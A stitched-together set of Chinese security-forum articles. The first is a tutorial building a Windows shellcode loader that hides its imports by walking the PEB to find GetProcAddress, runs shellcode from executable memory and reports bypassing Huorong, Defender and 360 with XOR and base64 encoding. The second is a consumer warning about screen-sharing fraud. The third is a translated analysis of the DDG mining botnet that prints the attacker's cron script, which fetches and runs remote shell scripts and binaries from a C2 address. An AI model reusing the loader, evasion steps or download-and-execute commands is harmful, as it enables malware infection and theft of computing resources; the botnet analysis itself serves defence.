// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
篇幅实在是太长了，这里简单做个了解吧，细节我在实际代码中做好注释。接下来，我们来看实际代码。
###### 导出地址表
在拓展头中的最后一个元素`DataDirectory`，这里面包含了导入地址表、导出地址表等信息，总共有16个元素。我们这里用到了导出地址表，并且其位置处于该数组的第一个，所以也来看下这个结构。
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // 函数地址表
DWORD AddressOfNames; // 函数名称表
DWORD AddressOfNameOrdinals; // 函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
重点关注最后三个元素，我们这里通过函数名称表获取到指定函数的序号再通过序号获取函数地址表中的函数地址。
`函数名称表 --> 函数序号表 --> 函数地址表 --> 获得函数地址`
##### 代码
###### `获取PEB`
DWORD GetPeb() {
// 定义数据结构
_PEB_LDR_DATA* Ldr;
// 获取Ldr
// TEB：0x30处存储PEB信息
// PEB：0x0C处存储Ldr信息
_asm {
push eax
push ebx
xor eax, eax
xor ebx, ebx
mov eax, fs: [0x30]
mov ebx, [eax + 0x0C]
mov Ldr, ebx
pop ebx
pop eax
}
return (DWORD)Ldr;
}
##### `获取Kernel32模块地址`
DWORD GetKenel32(DWORD Ldr) {
// 定义要获取的函数名, 因为数据类型位_UNICODE_STRING,所以此处许需要设置为UNICDOE的格式
char funcName[] = { 'K',0,'e',0,'l',0,'n',0,'e',0,'l','0','3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0 };
DWORD kernel32Addr = NULL;
// 定义数据结构
_LIST_ENTRY* pBack;
_PEB_LDR_DATA* pLdr = (_PEB_LDR_DATA*)Ldr;
_LDR_DATA_TABLE_ENTRY* pNext;
_LDR_DATA_TABLE_ENTRY* pHide;
// 获取加载模块列表
pBack = &pLdr->InLoadOrderModuleList;
// 获取第一个模块，这是一个双向链表
// 第一个模块存储进程信息，后面的才是dll信息
pNext = (_LDR_DATA_TABLE_ENTRY*)pBack->Flink;
// 因为是链表，所以当pNext = pBack的时候就意味着走了一轮了
while ((int*)pBack != (int*)pNext) {
// 此处是个大坑
// 给我整吐了呀
// 根据结构类型返回结构实例的基址，可以获取三个链表的基址，而不是单个
pHide = CONTAINING_RECORD(pNext, _LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
PCHAR BaseDllName = (PCHAR)pNext->BaseDllName.Buffer;
PCHAR pfuncName = (PCHAR)funcName;
while (*BaseDllName && *BaseDllName == *pfuncName) {
BaseDllName++;
pfuncName++;
}
// 判断模块名是否相等，相等就隐藏模块
if (*BaseDllName == *pfuncName) {
kernel32Addr = (DWORD)pNext->DllBase;
break;
}
// 指向下一个模块
pNext = (_LDR_DATA_TABLE_ENTRY*)pNext->InLoadOrderLinks.Flink;
}
return kernel32Addr;
}
##### `获取指定函数`
// 声明函数类型
typedef FARPROC(WINAPI* PGETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);
DWORD GetFuncAddr(HMODULE Module) {
// 初始化pGetProcAddress
PGETPROCADDRESS pGetProcAddress = NULL;
// 这种方式是为了后面造shellcode方便, 指定要找的函数名
CHAR funcName[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
printf("[*] The name of the function to be found: %s\n", funcName);
// 获取dos头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)Module;
// 获取文件头
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)dosHeader + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
printf("[+] Get the address of ExportDirectory: %p\n", exportDirectory);
// 获取导出表中的三个表
// AddressOfNames: 名称表
// AddressOfNameOrdinals: 序号表
// AddressOfFunctions: 函数地址表
DWORD* AddressOfNames = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNames);
printf("[+] Get the address of AddressOfNames: %p\n", AddressOfNames);
WORD* AddressOfNameOrdinals = (WORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNameOrdinals);
printf("[+] Get the address of AddressOfNameOrdinals: %p\n", AddressOfNameOrdinals);
DWORD* AddressOfFunctions = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfFunctions);
printf("[+] Get the address of AddressOfFunctions: %p\n", AddressOfFunctions);
PCHAR pfuncName = funcName;
// 寻找对应函数
for (int i = 0; i < exportDirectory->NumberOfNames; i++) {
PCHAR lpName = (PCHAR)((DWORD)dosHeader + AddressOfNames[i]);
while (*lpName && *lpName == *pfuncName) {
lpName++;
pfuncName++;
}
if (*lpName == *pfuncName) {
// 找到函数后,给函数赋值
pGetProcAddress = (PGETPROCADDRESS)((DWORD)dosHeader + AddressOfFunctions[AddressOfNameOrdinals[i]]);
printf("[+] Get the address of GetProcAddress: %p\n", pGetProcAddress);
return (DWORD)pGetProcAddress;
}
// 还原要找的函数名字，因为前面的操作修改了名字
pfuncName = funcName;
};
return 0;
}
##### `主程序`
int main() {
HMODULE hKernel32 = (HMODULE)GetKenel32(GetPeb());
printf("[+] Get the address of Kernel32.dll Module: %p\n", hKernel32);
PGETPROCADDRESS pGetProcAddress = (PGETPROCADDRESS)GetFuncAddr(hKernel32);
}
到这里我们就获取`GetProcAddress`的函数地址，并且重新声明赋值后我们就已经可以正常使用这个函数了。
#### 完整代码
##### 头文件
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <string.h>
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")
//0x28 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0xc
struct _LIST_ENTRY InMemoryOrderModuleList; //0x14
struct _LIST_ENTRY InInitializationOrderModuleList; //0x1c
VOID* EntryInProgress; //0x24
};
//0x8 bytes (sizeof)
struct _UNICODE_STRING
{
USHORT Length; //0x0
USHORT MaximumLength; //0x2
WCHAR* Buffer; //0x4
};
//0xc bytes (sizeof)
struct _RTL_BALANCED_NODE
{
union
{
struct _RTL_BALANCED_NODE* Children[2]; //0x0
struct
{
struct _RTL_BALANCED_NODE* Left; //0x0
struct _RTL_BALANCED_NODE* Right; //0x4
};
};
union
{
struct
{
UCHAR Red : 1; //0x8
UCHAR Balance : 2; //0x8
};
ULONG ParentValue; //0x8
};
};
//0xa8 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks; //0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x8
struct _LIST_ENTRY InInitializationOrderLinks; //0x10
VOID* DllBase; //0x18
VOID* EntryPoint; //0x1c
ULONG SizeOfImage; //0x20
struct _UNICODE_STRING FullDllName; //0x24
struct _UNICODE_STRING BaseDllName; //0x2c
union
{
UCHAR FlagGroup[4]; //0x34
ULONG Flags; //0x34
struct
{
ULONG PackagedBinary : 1; //0x34
ULONG MarkedForRemoval : 1; //0x34
ULONG ImageDll : 1; //0x34
ULONG LoadNotificationsSent : 1; //0x34
ULONG TelemetryEntryProcessed : 1; //0x34
ULONG ProcessStaticImport : 1; //0x34
ULONG InLegacyLists : 1; //0x34
ULONG InIndexes : 1; //0x34
ULONG ShimDll : 1; //0x34
ULONG InExceptionTable : 1; //0x34
ULONG ReservedFlags1 : 2; //0x34
ULONG LoadInProgress : 1; //0x34
ULONG LoadConfigProcessed : 1; //0x34
ULONG EntryProcessed : 1; //0x34
ULONG ProtectDelayLoad : 1; //0x34
ULONG ReservedFlags3 : 2; //0x34
ULONG DontCallForThreads : 1; //0x34
ULONG ProcessAttachCalled : 1; //0x34
ULONG ProcessAttachFailed : 1; //0x34
ULONG CorDeferredValidate : 1; //0x34
ULONG CorImage : 1; //0x34
ULONG DontRelocate : 1; //0x34
ULONG CorILOnly : 1; //0x34
ULONG ChpeImage : 1; //0x34
ULONG ReservedFlags5 : 2; //0x34
ULONG Redirected : 1; //0x34
ULONG ReservedFlags6 : 2; //0x34
ULONG CompatDatabaseProcessed : 1; //0x34
};
};
USHORT ObsoleteLoadCount; //0x38
USHORT TlsIndex; //0x3a
struct _LIST_ENTRY HashLinks; //0x3c
ULONG TimeDateStamp; //0x44
struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x48
VOID* Lock; //0x4c
struct _LDR_DDAG_NODE* DdagNode; //0x50
struct _LIST_ENTRY NodeModuleLink; //0x54
struct _LDRP_LOAD_CONTEXT* LoadContext; //0x5c
VOID* ParentDllBase; //0x60
VOID* SwitchBackContext; //0x64
struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0x68
struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0x74
ULONG OriginalBase; //0x80
union _LARGE_INTEGER LoadTime; //0x88
ULONG BaseNameHashValue; //0x90
enum _LDR_DLL_LOAD_REASON LoadReason; //0x94
ULONG ImplicitPathOptions; //0x98
ULONG ReferenceCount; //0x9c
ULONG DependentLoadFlags; //0xa0
UCHAR SigningLevel; //0xa4
};
##### 主程序
#include "precompile.h"
typedef FARPROC(WINAPI* PGETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);
typedef LPVOID (WINAPI* VIRTUALALLOC)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
typedef VOID (WINAPI* RTLMOVEMEMORY)(VOID UNALIGNED* Destination,CONST VOID UNALIGNED* Source,SIZE_T Length);
typedef HANDLE (WINAPI* CREATETHREAD)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
typedef DWORD(WINAPI* WAITFORSINGLEOBJECT)(HANDLE hHandle,DWORD dwMilliseconds);
DWORD GetPeb() {
// 定义数据结构
_PEB_LDR_DATA* Ldr;
// 获取Ldr
// TEB：0x30处存储PEB信息
// PEB：0x0C处存储Ldr信息
_asm {
push eax
push ebx
xor eax, eax
xor ebx, ebx
mov eax, fs: [0x30]
mov ebx, [eax + 0x0C]
mov Ldr, ebx
pop ebx
pop eax
}
return (DWORD)Ldr;
}
DWORD GetKenel32(DWORD Ldr) {
// 定义要获取的函数名, 因为数据类型位_UNICODE_STRING,所以此处许需要设置为UNICDOE的格式
char funcName[] = { 'K',0,'e',0,'l',0,'n',0,'e',0,'l','0','3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0 };
DWORD kernel32Addr = NULL;
// 定义数据结构
_LIST_ENTRY* pBack;
_PEB_LDR_DATA* pLdr = (_PEB_LDR_DATA*)Ldr;
_LDR_DATA_TABLE_ENTRY* pNext;
_LDR_DATA_TABLE_ENTRY* pHide;
// 获取加载模块列表
pBack = &pLdr->InLoadOrderModuleList;
// 获取第一个模块，这是一个双向链表
// 第一个模块存储进程信息，后面的才是dll信息
pNext = (_LDR_DATA_TABLE_ENTRY*)pBack->Flink;
// 因为是链表，所以当pNext = pBack的时候就意味着走了一轮了
while ((int*)pBack != (int*)pNext) {
// 赋值
PCHAR BaseDllName = (PCHAR)pNext->BaseDllName.Buffer;
PCHAR pfuncName = (PCHAR)funcName;
// 一个字母一个字母的判断
while (*BaseDllName && *BaseDllName == *pfuncName) {
BaseDllName++;
pfuncName++;
}
// 判断模块名是否相等，相等就隐藏模块
if (*BaseDllName == *pfuncName) {
kernel32Addr = (DWORD)pNext->DllBase;
break;
}
// 指向下一个模块
pNext = (_LDR_DATA_TABLE_ENTRY*)pNext->InLoadOrderLinks.Flink;
}
return kernel32Addr;
}
DWORD GetFuncAddr(HMODULE Module) {
// 初始化pGetProcAddress
PGETPROCADDRESS pGetProcAddress = NULL;
// 这种方式是为了后面造shellcode方便, 指定要找的函数名
CHAR funcName[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
printf("[*] The name of the function to be found: %s\n", funcName);
// 获取dos头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)Module;
// 获取文件头
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)dosHeader + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
printf("[+] Get the address of ExportDirectory: %p\n", exportDirectory);
// 获取导出表中的三个表
// AddressOfNames: 名称表
// AddressOfNameOrdinals: 序号表
// AddressOfFunctions: 函数地址表
DWORD* AddressOfNames = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNames);
printf("[+] Get the address of AddressOfNames: %p\n", AddressOfNames);
WORD* AddressOfNameOrdinals = (WORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNameOrdinals);
printf("[+] Get the address of AddressOfNameOrdinals: %p\n", AddressOfNameOrdinals);
DWORD* AddressOfFunctions = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfFunctions);
printf("[+] Get the address of AddressOfFunctions: %p\n", AddressOfFunctions);
PCHAR pfuncName = funcName;
// 寻找对应函数
for (int i = 0; i < exportDirectory->NumberOfNames; i++) {
PCHAR lpName = (PCHAR)((DWORD)dosHeader + AddressOfNames[i]);
while (*lpName && *lpName == *pfuncName) {
lpName++;
pfuncName++;
}
if (*lpName == *pfuncName) {
// 找到函数后,给函数赋值
pGetProcAddress = (PGETPROCADDRESS)((DWORD)dosHeader + AddressOfFunctions[AddressOfNameOrdinals[i]]);
printf("[+] Get the address of GetProcAddress: %p\n", pGetProcAddress);
return (DWORD)pGetProcAddress;
}
pfuncName = funcName;
};
return 0;
}
int main() {
HMODULE hKernel32 = (HMODULE)GetKenel32(GetPeb());
printf("[+] Get the address of Kernel32.dll Module: %p\n", hKernel32);
PGETPROCADDRESS pGetProcAddress = (PGETPROCADDRESS)GetFuncAddr(hKernel32);
VIRTUALALLOC myVirtualAlloc = (VIRTUALALLOC)pGetProcAddress(hKernel32, "VirtualAlloc");
RTLMOVEMEMORY myRtlMoveMemory = (RTLMOVEMEMORY)pGetProcAddress(hKernel32, "RtlMoveMemory");
CREATETHREAD myCreateThread = (CREATETHREAD)pGetProcAddress(hKernel32, "CreateThread");
WAITFORSINGLEOBJECT myWaitForSingleObject = (WAITFORSINGLEOBJECT)pGetProcAddress(hKernel32, "WaitForSingleObject");
// shellcode放到这里，是否异或自己决定
unsigned char buf[] ="";
LPVOID lpMem = myVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
myRtlMoveMemory(lpMem, buf, sizeof(buf));
HANDLE hThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0);
printf("[+] shellcode is running!\n");
printf("\n");
printf("++++++++++++++++++++++++++++++++++++++++++\n");
printf("++++++++ Happy ++++++++\n");
printf("++++++++++++++++++++++++++++++++++++++++++\n");
myWaitForSingleObject(hThread, INFINITE);
return 0;
}
这一轮操作下来也相当于隐藏了IAT，在kernel32中并未发现我们使用的函数。
来看下免杀情况！
###### 火绒
shellcode未作处理，免杀火绒且正常上线。
###### Defender
defender查杀shellcode没做处理的木马，这边加上异或处理。
shellcode异或处理后，defender不再查杀且正常上线
###### 360
复杂归复杂，360还是报毒了，这边继续对木马做处理。
测试发现是shellcode报毒了，也就是说我们做的复杂操作没有一点问题，这里我们再对shellcode做下处理，这里对代码做了base64加密。
// base64解密
int DecodeBase64(const BYTE* src, unsigned int srcLen, char* dst, unsigned int dstLen) {
DWORD outLen;
BOOL fRet;
outLen = dstLen;
fRet = CryptStringToBinary((LPCSTR)src, srcLen, CRYPT_STRING_BASE64, (BYTE*)dst, &outLen, NULL, NULL);
if (!fRet) outLen = 0;
return(outLen);
} | 社区文章 |
# 全国频发！骗子“当面“洗空你的钱，到底是怎么做到的？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，各地相继出现利用网络视频会议软件中的 **“共享屏幕”**
功能，偷窥用户隐私信息、实施电信网络诈骗的新型的诈骗趋势，受害用户往往在毫无察觉的情况下，遭遇财产损失，请广大用户务必重视。
## 首先，给大家讲讲什么是“共享屏幕”？
简单来说， **“共享屏幕”相当于手机的录屏操作** 。它会把屏幕上显示的内容全都记录下来，并同步让对方看到，包括弹框显示短信、微信、其他App推送的内容。
也就是说
**你在手机上的任何操作**
**对方都能看到**
**包括输入银行卡账号及密码**
**收到的短信验证码等**
## “共享屏幕”多出现在哪些诈骗中？
骗子往往冒充“公、检、法”或注销校园贷款的银行工作人员、平台客服人员等，诱导受害者使用网络视频会议软件内的“共享屏幕”功能。
## 利用“共享屏幕”的诈骗案例频发财产损失几十万不等
**相信网购“客服”来退款，被骗13万**
李女士接到一个电话，对方自称快递物流公司客服，以网购快递丢失给用户赔偿为由，让她下载网络会议软件。诈骗分子将她拉进网络视频会议房间里，这里既有自称的快递公司赔付专员，还有所谓银监部门的工作人员，诱导她打开网络会议软件中“共享屏幕”。点击诈骗分子提供的链接后，她被提示需要验证支付宝账户信息，随后手机便接收到转账验证码。还没来得及多想，李女士就发现自己的账户被相继转走了13万元。
**注销贷款诈骗再现，这次被骗16万余元**
##
江苏常州的小韩不久前也遇到了类似的诈骗，诈骗分子假冒某金融机构的客服，来电要求小韩注销校园贷，否则会影响到征信。在获得小韩的信任后，诈骗分子诱导其载指定的手机应用软件，称“为了便于指导客户尽快注销校园贷”。在接下来的两个多小时里，小韩一直和诈骗分子通过网络视频会议软件沟通，而共享屏幕一直是打开的状态，挂下电话后，小韩发现自己的账户被转账15次，累计金额高达16万元多。
**“办理解绑，否则影响征信…”，被骗91万**
济南市某用户接到电话，对方自称支付软件客服工作人员，声称用户的支付宝需要解绑，不解绑的话会影响征信，随后在对方的提示下打开网络视频会议软件，加入视频会议并开通共享屏幕。期间对方以解绑需要资金清算为由，让用户将银行卡内的钱转入对方提供的账号，用户发现被骗遂报警，损失91万余元。
## 揭秘“共享屏幕”诈骗手段
## “共享屏幕”功能存在安全隐患测试
“共享屏幕”中，除了手机短信等重要的个人隐私被诈骗分子轻松捕获，用户重要的支付密码，也会被一览无余地展示给诈骗分子。
根据测试结果显示，共享屏幕功能开启时，用户即使将网络视频会议界面切换出去，手机上的一举一动也会实时传递给“会议”中的其他用户。
据360安全专家介绍，共享屏幕功能系网络视频会议软件研发初期提供的一项服务，该功能可以在不同的电脑PC端展示包括PPT等在内的会议相关材料，在智能手机上使用网络视频会议软件时，共享屏幕功能极有可能造成用户个人信息被泄露。诈骗分子为诱导用户下载网络视频会议软件，会根据不同用户的特点编织场景。
## 安全课堂
开启共享屏幕就意味着你的手机中已经变成“透明”，不要点击相关的链接或者下载所谓的软件随意与他人开启共享屏幕，更不能直接加入陌生的网络会议被进行“遥控”操作。 | 社区文章 |
# DDG.Mining.Botnet：一个瞄准数据库服务器的挖矿僵尸网络
##### 译文声明
本文是翻译文章，文章原作者 JiaYu，文章来源：blog.netlab.360.com
原文地址：<http://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-server/>
译文仅供参考，具体内容表达以及含义原文为准。
从 2017-10-25 开始，我们监控到有恶意代码在大规模扫描互联网上的 OrientDB
数据库服务器。进一步的分析发现，这是一个长期运营的僵尸网络，其主要目标是挖取门罗币（XMR，Monero CryptoCurrency）。我们将其命名为
**DDG 挖矿僵尸网络** （DDG Mining Botnet，以下简称 DDG） ，主要原因是因为其核心功能模块的名称为 DDG。
DDG 累积挖取的门罗币数目较大。目前我们能够确认该僵尸网络累积挖取的已经超过 **3,395枚门罗币** ，按当前价格折合 **人民币
￥5,821,657** 。另外因为矿池记账系统的问题，有2,428枚 XMR不能完全确认是否归属 DDG，按当前价格折合人民币
￥4,163,179。DDG 是目前我们视野范围内门罗币收益第二大的僵尸网络，第一大的是我们之前报告的
[MyKings](http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/) 僵尸网络。
DDG 的结构上，除了僵尸网络中常见的 C2 和 bot，还有一个很有意思的 HUB 的设定。HUB 是一组 IP或者域名，用来提供挖矿二进制程序的下载。在
DDG 持续的更新过程中，其 v2011 版本的 HUB
列表中，有两个域名被列出但是未被注册，我们抢先注册并Sinkhole了这两个域名。虽然我们不可以通过这两个域名 Sinkhole
来接管该僵尸网络，但是可以基于 Sinkhole 数据对整个 DDG 僵尸网络的规模做一个精确的度量。
## DDG Mining Botnet 的挖矿收益
DDG 在挖矿时使用如下矿池地址：
* <https://monero.crypto-pool.fr/>
其使用的钱包地址有三个，如下：
* **Wallet #1** 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg
* **Wallet #2** 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1
* **Wallet #3** 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM
其中，Wallet #3 是最先开始活跃的钱包地址，高峰期在 2017.02～2017-03；随后是 Wallet #1，持续了2017一整年；
Wallet #2 是最近出现的，我们首次观察到的时间是 2018-01-03。
全部三个钱包的收入如下表所示，共计收入 3395 或者 5760 的门罗币，这些代币今天价值人民币 **580万** 或者 **980万**
。注意：在第二个钱包付费记录中，”Total Paid”与逐笔交易累积得到的 “Amount Summary”
并不一致，我们无从确认哪个数字更准确，因此把两个数字都记录了下来。
## DDG Mining Botnet 的攻击阶段和结构划分
通过分析样本及其行为，我们能够描绘 DDG Mining Botnet 的攻击过程如下：
上图中，DDG Mining Botnet 的攻击过程可以分为几个阶段：
* **扫描阶段** ：攻击者（ ss2480.2 ）利用 OrientDB 数据库的已知 RCE 漏洞，投入攻击载荷；
* **第一阶段** ：攻击者修改本地 Crontab 定时任务，下载执行主要服务器上的 i.sh ( hxxp://218.248.40.228:8443/i.sh) ，并保持每 5 分钟同步。此 i.sh 会继续从同一服务器上下载运行 ddg 样本
* **第二阶段** ：ddg 会依次连接内置 **hub_iplist.txt** 文件里的 hub_ip，然后从可以成功连接的 hub_ip 上下载对应的 Miner 程序 wnTKYg（如果本机 CPU 不支持 AES-NI，还会下载 wnTKYg.noaes）。这个程序的命名，恰好是其钱包地址的尾部。
* **挖矿阶段** ：Miner 程序开始与矿池通信，利用失陷主机的计算资源，为攻击者的钱包开始挖矿。
上述结构中，除了僵尸网络中常见的 C2 和 bot 以外，还有一个很有意思的 **HUB** 。攻击者使用 HUB
上的多个IP或者域名来提供挖矿程序的下载。我们观察到 DDG 运营者会不时更新这些 HUB 的IP和域名，来源大部分是失陷主机。全部的 HUB 列表见文末。
关于这个 **HUB** 另一个有意思的地方，是我们注意到 v2011 版本中三个域名中的两个在当时是未注册的，如下。这两个域名被我们注册并
Sinkhole，后来我们意识到，我们可以通过这两个 HUB Sinkhole 上的到的数据来精确度量整个 DDG 僵尸挖矿网络。
* defaultnotepad567[.]com
* unains1748[.]com 未注册
* 5dba35bsmrd[.]com 未注册
下面我们分别介绍 DDG 僵尸网络的 C2， HUB， 和 Bot。其中 Bot 部分的数据，会使用来自Sinkhole 的数据。
## DDG 僵尸网络的 C2
DDG 僵尸网络使用如下 C2 保持对设备的长期控制：
* 202.181.169.98:8443/i.sh
* 218.248.40.228:8443/i.sh
其中后者来自印度，AS9829，一直在使用，两年来没有变过；前者来自香港，AS7540，仅在早期短暂使用。
#### DDG 僵尸网络的 HUB，以及我们的 HUB Sinkhole
DDG 僵尸网络使用 **HUB_IP:8443\wnTKYg** 提供挖矿程序下载。我们监控到的两个版本的 HUB 详细列表见文末 IoC
部分，其国家分布如下表所示。可见大部分受害者位于中国。
如前所述，我们在监控其 v2011 版本的时候，发现其中两个域名没有注册，unains1748[.]com 和 5dba35bsmrd[.]com
。我们注册了这两个域名，合并到我们的 Sinkhole 池中，并几乎立刻看到有 IP 开始连接这两个域名，后来我们确认来连接的这些 IP 均是被 DDG
感染的主机。
这样至少我们可以利用 HUB Sinkhole 来度量 DDG 的规模。那么，我们的 Sinkhole 能看到 DDG
僵尸网络的多大部分呢，是盲人摸象看到一部分？还是全部？
我们仔细检查了 DDG 的运行机制，并且确认无论被感染的 bot 最终从 HUB 上的哪个部分下载挖矿程序，这些 bot 都会检查 HUB 上的全部 IP
和域名的连通性。这意味着，我们可以 **看到 DDG 全部的被感染设备** ，并进一步利用这些数据对 DDG 僵尸网络做精确的度量。
可惜的是，我们注册 Sinkhole 的行动被 DDG 运营者发现了，他们随后发布了 DDG 的更新版本，更新了全部的 HUB IP列表，将我们的
Sinkhole 从僵尸网络内部踢了出来。
另外一方面，从 bot 的代码逻辑来看，创造合适的条件，会使得被感染的 bot 尝试从我们的 sinkhole
下载并运行挖矿程序….嗯，这个话题我们就讨论到这里，白帽子一定要带头做遵纪守法的好公民。
## DDG 僵尸网络的 Bot
我们可以使用 HUB Sinkhole 的数据来精确度量 DDG 僵尸网络的感染规模。为避免滥用，全部受害者 IP 列表不会公开。
我们共记录了4391 个受害者IP地址，来自各个国家，最主要的受害者集中在中国(73%)和美国(11%)：
从网络自治域分布来看，国内各主要云计算服务商均有出现，国外若干互联网巨头公司也有少量中招。总体来看，因为 DDG
投入时是利用数据库服务器的错误配置或者漏洞利用，云服务厂商既往确实不容易防范。建议后续云服务厂商考虑加强这方面的防御措施。
受害者一段时间内对上述 2 个域名的 DNS 请求趋势如下。尾部曲线快速下降，对应僵尸网络运营者更新版本的时段。
## 利用 DNSMon 感知这三个域名的异常访问
我们的 DNSMon 也感知到了这三个域名的异常，下面两张图分别展示这三个域名流量访问曲线高度拟合，并且在访问时序上有强烈的相关性：
## DDG Mining Botnet 攻击过程详细剖析
### 扫描
DDG Mining Botnet 的扫描和入侵阶段由样本 ss2480.2 完成。ss2408.2 首先会根据一定策略生成 Target IP 并扫描
Target IP 的 2480 端口，最后会利用 OrientDB 的 RCE 漏洞
[CVE-2017-11467](https://blogs.securiteam.com/index.php/archives/3318) 实施入侵。
ss2480.2 会先扫描内网网段，然后扫描公网网段。生成的内网网段 Target IP 范围如下：
* 10.Y.x.x/16 (Y 为当前内网 IP B 段的值)
* 172.16.x.x/16
* 192.168.x.x/16
样本中生成内网 Target IP 的部分代码如下：
结束对内网的扫描之后，ss2480.2 会访问 hxxp://v4.ident.me 获取当前主机的公网 IP 地址 **WAN_IP** ，然后在
`WAN_IP/8` 范围内生成公网 Target IP 发起扫描。样本中生成公网 Target IP 时，会过滤掉保留地址段：
ss2480.2 利用 OrientDB 漏洞的过程如下：
样本利用漏洞最后执行的 Payload 如下：
### 第一阶段
DDG 在 C2 （218.248.40.228 India/IN AS9829）上提供了云端配置文件：
hxxp://218.248.40.228:8443/i.sh
该 i.sh 配置文件有多次变化，但是内容大同小异。下面是一个早期版本，其功能主要是：
* 将本地 Crontab 内容与远程服务器上的 i.sh 保持同步
* 从远程服务器下载 ddg 样本到本地并执行
* 检查本地的 ddg 的历史版本进程，并杀掉
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.2011" ]; then
curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
fi
chmod +x /tmp/ddg.2011 && /tmp/ddg.2011
#if [ ! -f "/tmp/ss2480.2" ]; then
#curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2
ps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
